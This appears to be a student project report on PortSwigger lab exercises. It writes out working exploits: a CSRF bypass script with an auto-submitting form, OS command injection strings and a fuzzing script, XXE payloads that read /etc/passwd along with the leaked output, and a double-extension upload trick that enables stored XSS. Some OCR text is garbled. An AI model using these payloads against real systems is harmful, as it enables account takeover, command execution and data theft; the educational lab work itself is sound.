Cyber Offense and Defense Project

Giada Gabriele 235799, Michele Morello 223953 @UniCal

Exercises

Challenge 1 - Client Side Vulnerability

CSRF token validation depends on request method

Challenge 2 - Server Side Vulnerability

Blind OS command injection with output redirection

Challenge 3 - Expert Lab Vulnerability

Exploiting XXE to retrieve data by repurposing a local DTD

4 Vu

Vulnerable backend

File upload vulnerability

Tools and Libraries












The goal of this challenge was to change victim's email with a known one modifying the CSRF field. We focus then on the email change functionality, and try to update it using Burp Suite






We notice that if the field is edited the request fails, at this point we try to bypass this check by turning the request from POST to GFT

```
. = =
 Request
 1 GET /my-account/change-email?email=asd*40asd.com&csrf= HTTP/1.1
 2 Host: Oae7005903c6365fc17a3a6d00d000a5.web-security-academy.net
                                                                              2 Location: /my-account
 3 Cookie: session=pi4qr8mxFcNCGqtmBIhdiZrfPbVaxNvD
                                                                              3 Connection: close
 4 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:107.0)
                                                                              4 Content-Length: 0
  Gecko/20100101 Firefox/107.0
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
   ebp, */*; q=0.8
 6 Accept-Language: it-IT, it; q=0.8, en-US; q=0.5, en; q=0.3
 7 Accept-Encoding: gzip, deflate
  https://Oae7005903c6365fc17a3a6d00d000a5.web-security-academy.net
  https://Oae7005903c6365fc17a3a6d00d000a5.web-security-academy.net/my-acc
10 Upgrade-Insecure-Requests: 1
11 Sec-Fetch-Dest: document
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-User: ?1
15 Dnt: 1
16 Sec-Gpc: 1
17 Te: trailers
18 Connection: close
```



Now the CSRF field is no longer validated and we can then make a change request, using the CSRF PoC - generated by Burp Suite Professional function we generate a valid HTML code that allows us to fill out the change form in a way that is accepted by the server. At this point we send the request and the challenge is solved.







Now we write a script that allows us to perform the attack automatically. As first we login to the server with the credentials suggested by PortSwigger. We make a POST request for the email change.

```
def login(session, server):
   response = session.get(f"{server}/login")
   console.log(f"GET login status code {response.status code}\n")
   html document = html.fromstring(response.content)
   csrf token = html document.xpath("//input[@name = 'csrf']/@value")[0]
   response = session.post(f"{server}/login", data={
       "csrf": csrf token,
       "username": "wiener".
       "password": "peter",
   console.log(f"POST login status code {response.status code}\n")
def update email(session, server, exploit server):
   response = session.get(f"{server}/my-account")
   console.log(f"GET my-account status code {response.status code}\n")
   html document = html.fromstring(response.content)
   email = "ciccio@pasticcio.it"
   csrf token = html document.xpath("//input[@name = 'csrf']/@value")[0]
   csrf token=input('Insert new CSRF for the POST request (if you want to leave the field blank PRESS ENTER): ')
   response = session.post(f"{server}/my-account/change-email", data={
        "email": email.
        "csrf": csrf token,
   console.log(f"\nPOST change-email status code {response.status code}\n")
```



We see that it gave us an error. We ask the user if they want to turn the request into a GET, once we receive an affirmative response we make the request

```
[18:27:40]

GET login status code 200

[18:27:41] POST login status code 200

GET my-account status code 200

Insert new CSRF for the POST request (if you want to leave the field blank PRESS ENTER):
[18:27:43]

POST change-email status code 400

[?] Change method from POST to GET? (y/N): y

[?] email= ciccio@pasticcio.it, csrf= None , are default parameters, Would you like to change them? (Y/n): n

[18:27:50] GET change-email status code 200
```



We inform the user that the CSRF field is not considered and we ask again for consent to proceed with the exploit. The forms' HTML code is used for STORE and DELIVER_TO_VICTIM, which are the mandatory steps to send to the server.

```
def csrf exploit(session, server, exploit server, email, csrf):
    response = session.post(f"{exploit server}/", data={
        "urlIsHttps": "on",
        "responseFile": "/exploit".
        "responseHead": "HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8v",
        "responseBody": f'''
        <!-- CSRF PoC - generated by Burp Suite Professional -->
        <script>history.pushState('', '', '/')</script>
                                                                                      [?] The server doesn't consider the csrf parameter, would you like to exploit it? (Y/n): v
           <form action="{server}/my-account/change-email">
            <input type="hidden" name="email" value={email} />
                                                                                      [18:07:48] POST STORE status code 200
                                                                                                                                                                                                challenge 1.py:120
           <input type="hidden" name="csrf" value={csrf} />
                                                                                       [18:07:51] POST DELIVER TO VICTIM status code 200
                                                                                                                                                                                                challenge_1.py:145
            <input type="submit" value="Submit request" />
            </form>
           <script>
           document.forms[0].submit();
           </script>
        </body>
        </html>
        "formAction": "STORE",
    console.log(f"POST STORE status code {response.status code}")
```



The goal of this challenge was to display, through the path URL of an image, the content of the whoami command. We focus on the vulnerable feedback page and capture the request with Burp Suite so that we can fill in the fields as we like and find the right one to be able to inject the command

```
Request
                                                                                                     Response
                                                                                                    Pretty Raw Hex Render \n ≡
 1 POST /feedback/submit HTTP/1.1
 2 Host: 0a8c00d703205058c21426a200580008.web-security-academy.net
                                                                                                     2 Content-Type: application/json; charset=utf-8
 3 Cookie: session=7GfQNSJIKPnuidHdlbf7DdGyRc3Sui9m
                                                                                                     3 Connection: close
 4 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:107.0) Gecko/20100101 Firefox/107.0
                                                                                                     4 Content-Length: 2
 6 Accept-Language: it-IT, it; q=0.8, en-US; q=0.5, en; q=0.3
                                                                                                     6 (
 7 Accept-Encoding: gzip, deflate
 8 Content-Type: application/x-www-form-urlencoded
10 Origin: https://Oa8c00d703205058c21426a200580008.web-security-academy.net
11 Referer: https://Oa8c00d703205058c21426a200580008.web-security-academy.net/feedback
12 Sec-Fetch-Dest: empty
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Site: same-origin
15 Dnt: 1
16 Sec-Gpc: 1
17 Te: trailers
18 Connection: close
20 csrf=KxVvxBhYfRxD8DvuGKufXPMbslMvH7tE&name=||whoami >/var/www/images/exploit.txt||
   &email=foo%40example.com&subject=sbj&message=this+is+a+test+message
```



After some attempts in all fields using the most common separators (||, |, &, &&) we found that in the email the || works.



At this point we write a script that allows us to perform the attack automatically.



We make a GET request of the feedback page and we create an array of separators and a dictionary of the form parameters

```
response = session.get(f"{SERVER}/feedback")
console.log(f"Get status code {response.status_code}")
html_document = html.fromstring(response.content)
csrf_token = html_document.xpath("//input[@name = 'csrf']/@value")[0]
separators = ["&&", "||", "&", "|", "`"]

params = {
    "csrf": csrf_token,
    "name": 'foo',
    "email": 'foo@example.com',
    "subject": 'sbj',
    "message": 'this is a test message'
}
```



(skipping the CSRF field) Let's try injecting in all fields and using all separators chosen

```
for key in params:
    if key != "csrf":
        console.rule("[bold red]"+key)
        tmp = params[key]
        for sep in separators:
            console.log("with separator "+sep+" :")
            injection = sep+'whoami > /var/www/images/exploit_'+key+'.txt'+sep
            params[key] = injection
            response=session.post(f"{server}{ENDPOINT}", data=params)

            console.log(f"Post status code {response.status_code}\n")

            if response.status_code == 200:
                response=requests.get(f"{server}/image?filename=exploit_"+key+".txt")
                style = "bold white on blue"
                console.print("Command Get response = "+ response.text, style=style, justify="left")

                params[key] = tmp
```



We note at this point that in all other fields except email, the `separator already allows us to inject the command and receive the response we were looking for

| | name | |
|--|--------|--|
| with separator && : Post status code 200 | , i.e. | <pre>challenge_2.py:38 challenge_2.py:43</pre> |
| Command Get response = "No such file" with separator : [18:40:49] Post status code 200 | | challenge_2.py:38 challenge_2.py:43 |
| Command Get response = "No such file" with separator & : [18:40:50] Post status code 200 | | challenge_2.py:38 challenge_2.py:43 |
| Command Get response = "No such file" with separator : [18:40:51] Post status code 200 | | challenge_2.py:38 challenge_2.py:43 |
| Command Get response = "No such file" with separator `: [18:40:52] Post status code 200 | | challenge_2.py:38 challenge_2.py:43 |
| Command Get response = peter-xv6XeH | | |



The goal of this challenge was to modify the behavior of a DTD file already on the server by injecting XML code into it in order to obtain the content of the passwd file.

Analyzing the page requests with OWASP ZAP we notice that the content of the checkStock request is written in XML


```
F Quick Start → Request ← Response Requester +


    Body: Text

POST https://0a74004804e8699fc175087b00ec0093.web-security-academy.net/product/stock HTTP/1.1
Host: 0a74004804e8699fc175087b00ec0093.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Referer: https://0a74004804e8699fc175087b00ec0093.web-security-academy.net/product?productId=1
Content-Type: application/xml
Content-Length: 107
Origin: https://0a74004804e8699fc175087b00ec0093.web-security-academy.net
Connection: keep-alive
Cookie: session=UiuUaiduJLGdQ0IhCN2D1KnvZDoLOtzu
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
<?xml version="1.0" encoding="UTF-8"?><stockCheck>roductId>ductId><storeId></storeId></storeId>
```



Knowing a priori that it is a GNOME environment we injected an XML script with a known entity





We get code 500 but correctly printed file within the response. At this point we write a script that allows us to perform the attack automatically.



In writing the script, we decided to ignore the hint provided to us by PortSwigger and try injecting different payloads within the request. We therefore tried 6 different payloads (Windows based and Linux based) starting from the captured code base

```
payload3 = '''<!DOCTYPE message [
           <!ENTITY % local dtd SYSTEM "file:///C:\\Windows\\System32\\xwizard.dtd">
           <!ENTITY % onerrortypes '(aa) #IMPLIED>
           <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
           <!ENTITY &#x25: eval "<!ENTITY &#x26:#x25: error SYSTEM &#x27:file:///nonexistent/&#x25:file:&#x27:>">
                                                                                                                              INJECT-HERE
           &#x25:eval:
                                                                                                                             <stockCheck>
           %error;
                                                                                                                              coductId>
           <!ATTLIST attxx aa "bb"'>
           %local dtd;
                                                                                                                             </productId>
                                                                                                                              <storeId>
payload4 = '''<!DOCTYPE message [
           <!ENTITY % local dtd SYSTEM "file:///usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd
                                                                                                                              </storeId>
           <!ENTITY % URI '(aa) #IMPLIED>
                                                                                                                             </stockCheck>'''
           <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
           <!ENTITY &#x25: eval "<!ENTITY &#x26:#x25: error SYSTEM &#x27:file:///nonexistent/&#x25:file:&#x27:>">
           &#x25:eval:
           &#x25:error:
           <!ATTLIST attxx aa "bb"'>
           %local dtd;
```



Obviously in this case the GNOME one will be the right one but the script would allow for an answer in other environments as well.

```
[18:56:28] "XML parser exited with error: java.io.FileNotFoundException: /C:\Windows\System32\wbem\xml\cim20.dtd
          (No such file or directory)"
[18:56:30] "XML parser exited with error: java.io.FileNotFoundException: /C:\Windows\System32\wbem\xml\wmi20.dtd
          (No such file or directory)"
                                                          error triggered
[18:56:31] "XML parser exited with error: java.io.FileNotFoundException: /C:\Windows\System32\xwizard.dtd (No such challenge 3.py:105
          file or directory)"
[18:56:33] "XML parser exited with error: java.jo.FileNotFoundException:
          /usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd (No such file or directory)"
[18:56:34] "XML parser exited with error: java.io.FileNotFoundException:
          /usr/local/tomcat/lib/tomcat-coyote.jar!/org/apache/tomcat/util/modeler/mbeans-descriptors.dtd (No such
          file or directory)"
[18:56:36] "XML parser exited with error: java.io.FileNotFoundException:
          /nonexistent/root X0:0:root:/root:/bin/bash
          daemon 1:1:daemon:/usr/sbin:/usr/sbin/nologin
          bin 2:2:bin:/bin:/usr/sbin/nologin
          sys X3:3:sys:/dev:/usr/sbin/nologin
          sync X4:65534:sync:/bin:/bin/sync
          games $\$:60:games:/usr/games:/usr/sbin/nologin
          man 6:12:man:/var/cache/man:/usr/sbin/nologin
          lpX7:7:lp:/var/spool/lpd:/usr/sbin/nologin
          mail 8:8:mail:/var/mail:/usr/sbin/nologin
```



As for the backend, we decided to build a site with a file upload vulnerability.

| Sfoglia | Nessun file selezionato. |
|---------|--------------------------|
| | Unland |
| | Upload |
| | |
| | |
| | |
| | |

In this way, the server will accept only images with predetermined and valid domains, and will check their validity in the allowed_file method. Indeed, we note that if we upload an .svg file, it will not be loaded

| Up | load your File |
|----------------------------------|------------------------------|
| Sfoglia Nessun file selezionato. | |
| | Upload |
| | |
| | |
| Lis | t of images already uploaded |

However, if the same file is renamed to .png.svg the file will be correctly loaded within the img folder. This works because within the allowed_file method we notice that the check is done only on the content after the first dot of the split, so in this case it will parse the file as a .png image omitting the real .svg domain.

File uploaded!

Files in the Directory

- 1892363.jpg
- file.png.svg

Back to upload

By opening the uploaded image we see the content of the .svg file. At this point, since the .svg file is writable in XML it is possible to insert a very trivial javascript code and redirect the victim to another page of our choice

Therefore, the site is not only vulnerable to file upload but also (for example) to a stored XSS.